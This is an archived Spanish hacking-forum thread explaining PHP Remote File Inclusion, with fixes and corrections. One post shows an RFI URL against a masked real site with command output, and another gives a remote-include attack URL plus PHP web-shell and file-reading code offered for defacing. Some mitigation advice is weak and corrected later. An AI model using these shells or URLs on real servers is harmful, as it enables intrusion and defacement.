elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
10 Octubre 2008, 20:40  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  Remote File Inclusion
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Remote File Inclusion  (Leído 7479 veces)
shy

Desconectado Desconectado

Mensajes: 143


¡Amo YaBB SE!


Ver Perfil
Remote File Inclusion
« en: 02 Noviembre 2004, 09:01 »

Pues eso.. que esta es una "teknia" muy utilizada por los defacers .. perobueno tambien se pueden rootear algunso servers xDD

http://www.xxxxxxxxx.ca/index.php?page=http://usuarios.lycos.es/pepebenjabenja/shell.gif?&cmd=id

y kopn esto pues se ejecutan lo komandos, .. el shell.gif es el mimo que el shell.php solo que se rrenombra a .gif o lo que kieran xDD

sysname: Linux
nodename: d190
release: 2.4.22-1.2129.nptl
version: #1 Mon Dec 1 08:36:24 EST 2003
machine: i686
user: uid(48) euid(48) gid(48)
write permission: YES
server info: Apache/2.0.48 (Fedora) 
pro info: ip xxx.xxx.xxxx.xxx, 
current path: /home/virtual/site2/fst/var/www/html
En línea
Ambolius

Desconectado Desconectado

Mensajes: 1.346


/España/Guadalajara


Ver Perfil
Re: Remote File Inclusion
« Respuesta #1 en: 03 Noviembre 2004, 10:12 »

Decir que para que esta tecnica funcione, es necesario que la variable usada para la seleccion de la pagina (En esta caso la variable es page)ha de estar en un modo como:
Código:
<?php
 include($file);
 ?>
Es decir, sin que la pagina php verifique que la pagina a incluir es propia de la pagina, y no una externa.

En línea

Un informático a otro:
- ¿Cuantos eran los Dálmatas?
- 101.
- Por el culo te la hinco.
Paisterist

Desconectado Desconectado

Mensajes: 97



Ver Perfil WWW
Re: Remote File Inclusion
« Respuesta #2 en: 18 Diciembre 2004, 14:38 »

por lo que veo, hhay poca info de esta vuln... fui a buscar y encontré esto y casi nada más, así que les dejo un texto que hice. Tal vez les sirva.

-----------------

Remote File Inclusion

Se llama así (Inclusión Remota de Archivos) a una técnica que se usa generalmente en páginas webs. Esto es, la inclusión de un archivo en el servidor por medio de una vulnerabilidad en la web, la cual es producto de un error del programador.

Ahora bien, ¿cómo hacemos para explotar esta vulnerabilidad?. Para saber si una página es vulnerable a este bug, tendremos que buscar las variables que se pasan por el método GET (prefiero no explicar qué es para que todo el que no lo sepa, busque y pueda adquirir más conocimientos). Por ejemplo, en el buscador google, cuando buscamos algo y damos click en Búsqueda, nos muestra los resultados y en la barra de direcciones vemos algo como esto:

Código:
www.google.com.ar/search?hl=es&ie=UTF-8&q=aqui+la+busqueda&meta=
Todas esas variables (hl, ie, q, meta) son las que se pasan por el método GET. De esta manera podemos identificar las variables que nos permiten hacer file inclution. En este artículo se van a dar ejemplos para explotar esta vulnerabilidad pero con códigos en php.


Incluyendo archivos en páginas en PHP

Lo que viene a continuación se puede aplicar en distintos lenguajes (asp, php, etc) pero los códigos con los que se ejemplificará estarán en php.

Como el nombre lo dice, nos sirve para incluir archivos en determinado servidor. Entonces, para incluir algo, buscaremos variables pasados por GET que se refieran a lo que incluye la página.
Por ejemplo, una página que tenga el código siguiente sería vulnerable:

Código:
<?php
include($page);
?>

Al tener este código, la variable page no tiene ningún tipo de filtro. Es decir, se toma la variable page pero definida en cualquier lugar, lo cual permite que la definamos nosotros y que incluyamos cualquier página. Ahora bien, ¿Cómo hago para solucionar este error?. Hay diferentes formas de solucionar este problema. La forma que yo uso se basa en un switch de una variable, y para cada valor que obtenga la variable, se incluye otra página. Pero el secreto está en que no incluyo esa variable
si no la que defino en cada case:

Código:
<?php
switch ($page) {
case downloads;
$contenido="downloads.php";
break;
case contacto;
$contenido="contacto.php";
break;
case ejemplo;
$contenido="otros.php";
break;
default; /* SI NO DEFINO LA VARIABLE PAGE O SI EL VALOR SOLICITADO NO ESTA EN EL CASE, ENTONCES INCLUYO EL HOME */
$contenido="home.php";
break;
}
include ($contenido);
?>
Ahora, para explotar esta vulnerabilidad solo tendríamos que definir a la variable page por GET para que incluya el archivo que queramos. Por ejemplo:

Código:
www.victima.com/index.php?page=http://webdelatacante.com/exploit.php
Ahora bien, PHP se ejecuta en el servidor de la página. Si nosotros llamamos a una página en php desde la web víctima, la página nos mostrará los resultados pero del código ejecutado en el servidor del atacante. Para que esto no suceda y para que podamos obtener la información que queramos, debemos cambiar la extensión del archivo y ponerle extensión .gif . Después lo abrimos con un editor de texto y ponemos el código que queremos que se ejecute. De esta manera, estaremos ejecutando el script pero en el servidor de la víctima.

Algunos códigos útiles

Acá les dejo algunos códigos que les pueden servir a la hora de querer hacer un defaced, conseguir archivos, mirar códigos, etc.
Código:
<?
/* Este código sirve para ejecutar comandos en el servidor de la web. Esto se hace mediante la siguiente función, que abre la shell y ejecuta el comando que se define por la variable cmd. En este caso es GET para que se pueda definir por la barra de direcciones. También es importante destacar que solo funciona si PHP está configurado con safe_mode OFF*/
$cmd=$_GET[cmd];
system($cmd);
?>
Código:
<?
/* Este archivo muestra el código fuente del archivo que se pasa por el método GET, mediante la variable file. */
$file=$_GET[file];
show_source($file);
?>

Salu2

P.D: sepan disculparme si es spam... en caso de que sea así, borren el post.
En línea


Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
DADE

Desconectado Desconectado

Mensajes: 213


Nada tarda tanto como aquello que no se empieza


Ver Perfil WWW
Re: Remote File Inclusion
« Respuesta #3 en: 24 Marzo 2006, 15:12 »

Muy buena explicación, para nada spam ;)

Un saludo
En línea



El nuevo dominio es: www.slotinformatico.net
Rey11

Conectado Conectado

Mensajes: 3.221


¡¡VIVA ESPAÑA!!


Ver Perfil WWW
Re: Remote File Inclusion
« Respuesta #4 en: 24 Marzo 2006, 17:54 »

Oye, lo siento pero no consigo encontrar aquí el remote file inyection  :-\
Código:
<?php
switch ($page) {
case downloads;
$contenido="downloads.php";
break;
case contacto;
$contenido="contacto.php";
break;
case ejemplo;
$contenido="otros.php";
break;
default; /* SI NO DEFINO LA VARIABLE PAGE O SI EL VALOR SOLICITADO NO ESTA EN EL CASE, ENTONCES INCLUYO EL HOME */
$contenido="home.php";
break;
}
include ($contenido);
?>
Citar
Ya que la variable $page no se dedica a incluir ningún tipo de finchero, lo que lo hace es simplemente hacer el switch.
Y si el código en todo caso fuera así:
Código:
<?php
switch ($page) {
case downloads;
$contenido="downloads.php";
break;
case contacto;
$contenido="contacto.php";
break;
case ejemplo;
$contenido="otros.php";
break;
default; /* SI NO DEFINO LA VARIABLE PAGE O SI EL VALOR SOLICITADO NO ESTA EN EL CASE, ENTONCES INCLUYO EL HOME */
// quitamos esta linea $contenido="home.php";
break;
}
include ($contenido);
?>
Entonces podríamos hacer:
Citar
Saludos  ::)
P.D como sois que nunca declarais de donde viene la variable  :(
En línea

Unete a la campaña contra educación para la ciudadanía:
LastDragon

Desconectado Desconectado

Mensajes: 512


Ver Perfil WWW
Re: Remote File Inclusion
« Respuesta #5 en: 25 Marzo 2006, 01:58 »

Paisterist

La forma de evitar de forma efectiva una inclusion es muy simple.
Hay que desactivar el acceso a variables globales
Código:
register_globals = On

y en nuestro codigo php

usamos $_GET o $_POST

Código:
$_GET("nombrevariableform")

Para evitar SQL INJECTIONS se debe activar MAGIC_QUOTES

Código:
magic_quotes_gpc = On

De esa forma aunque el programador no sea muy habil, hacer un desface por metodos comunes se vuelve casi imposible
En línea

Contactame Last Dragon

Servidor Personal de Last Dragon
SeniorX

Desconectado Desconectado

Mensajes: 1.327


Programador Novato


Ver Perfil WWW
Re: Remote File Inclusion
« Respuesta #6 en: 25 Marzo 2006, 02:04 »

Paisterist

La forma de evitar de forma efectiva una inclusion es muy simple.
Hay que desactivar el acceso a variables globales
Código:
register_globals = On

y en nuestro codigo php

usamos $_GET o $_POST

Código:
$_GET("nombrevariableform")

Para evitar SQL INJECTIONS se debe activar MAGIC_QUOTES

Código:
magic_quotes_gpc = On

De esa forma aunque el programador no sea muy habil, hacer un desface por metodos comunes se vuelve casi imposible
Las magic quotes pueden ser saltadas con %2527.. conectandose directo al servidor, sin usar un explorador.

Siempre limpia las variables tu mismo  ;) (a parte de activar magic quotes)

Lee el texto de inyeccion de codigo en http://www.darksenior.cl/
En línea

Código:
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}
Precaución: La programacion puede producir adiccion
sirdarckcat
sdc
Moderador
*****
Desconectado Desconectado

Mensajes: 4.653


HAND


Ver Perfil WWW
Re: Remote File Inclusion
« Respuesta #7 en: 26 Marzo 2006, 23:51 »

SeniorX creo que nunca entendiste eso que dije sobre %2527..
las cookies hacen un urlencode al crearse, en servidor y en cliente, por lo que el servidor manda %27 y el cliente almacena %2527 y le responde con lo mismo, al decodificar el %27 las magic quotes ponen \' sinembargo %2527 no es filtrado.. asi que la unica manera de meter una comilla, es en situaciones excepcionales, donde se obtengan datos de cookies, sin filtrar, hasta ahora solo he visto eso en IPB y en myBB..

Saludos!!
En línea

Ap0caLiPse
free styler

Desconectado Desconectado

Mensajes: 1.537


simplemente io...


Ver Perfil WWW
Re: Remote File Inclusion
« Respuesta #8 en: 27 Marzo 2006, 01:09 »

Citar
Para evitar SQL INJECTIONS se debe activar MAGIC_QUOTES

Código:
magic_quotes_gpc = On

De esa forma aunque el programador no sea muy habil, hacer un desface por metodos comunes se vuelve casi imposible

Realmente no es tan simple, el magic_quotes solo evita que te metan comillas simples y caracteres asi, pero no es ni mucho menos suficiente.

Activar las magic_quotes y pensar que estás a salvo de inyecciones de SQL es tener muy pocos recursos.

Es cierto que te evita muchas complicaciones, pero si el campo de la bbdd al que atacamos es de tipo numérico, no nos hace falta meter comillas, por lo que el magic_quotes no vale para nada. Y normalmente los ID suelen ser numéricos.

El ejemplo mas claro nos lo detalla el amigo AcidBits donde accede al contenido del servidor de la Campus Party através de SQL i con las magic_quotes activadas.

http://acidbits.blogspot.com/


saludos

""Ap0caLiPse
En línea


Un mundo solo para perr@s ;D
Ertai
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.012


Ralph Wiggum


Ver Perfil
Re: Remote File Inclusion
« Respuesta #9 en: 27 Marzo 2006, 15:26 »

usamos $_GET o $_POST

Código:
$_GET("nombrevariableform")


Hasta la fecha, los index de los arrays en PHP se meten entre corchetes, no entre paréntesis. Y se termina con punto y coma ( ; )

Código:
$_GET("nombrevariableform")

Fatal error: Call to undefined function: array() in /home/******/public_html/status.php

Saludos.

/**editado sirdarckcat**/
xDDD
« Última modificación: 27 Marzo 2006, 15:50 por SirDarckCat » En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
LastDragon

Desconectado Desconectado

Mensajes: 512


Ver Perfil WWW
Re: Remote File Inclusion
« Respuesta #10 en: 29 Marzo 2006, 05:44 »

Estoy de acuerdo, supongo que lo escribi como pseudo codigo. Sin embargo releyendo mi post veo que se te paso una observacion.

Citar
La forma de evitar de forma efectiva una inclusion es muy simple.
Hay que desactivar el acceso a variables globales

Código:
register_globals = On

Debe estar
Código:
register_globals = Off

Estoy hablando de que deben estar desactivadas pero en mi ejemplo las pongo activadas.

Lo siento aveces el trabajo me hace pensar en algo y termino escribiendo otra cosa. Ya van 2 veces que ocurre.
En línea

Contactame Last Dragon

Servidor Personal de Last Dragon
Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats